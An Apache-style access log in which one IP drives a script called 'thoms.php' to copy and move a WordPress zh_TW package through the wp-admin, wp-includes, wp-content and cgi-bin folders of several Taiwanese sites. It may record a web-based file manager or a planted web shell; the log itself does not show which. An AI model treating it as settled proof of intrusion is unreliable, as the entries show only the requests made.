45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12584 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13270 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13408 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12053 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13863 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17376 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59258 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13626 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 11665408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14172 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28755 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13271 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12050 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14360 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13621 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13425 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13290 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12597 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:16 -0400] "GET /wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 19200137 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13159 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content%2Fthemes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:18 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13160 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:18 -0400] "GET /thoms.php?p=wp-content%2Fthemes HTTP/1.1" 200 12960 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12601 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14118 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
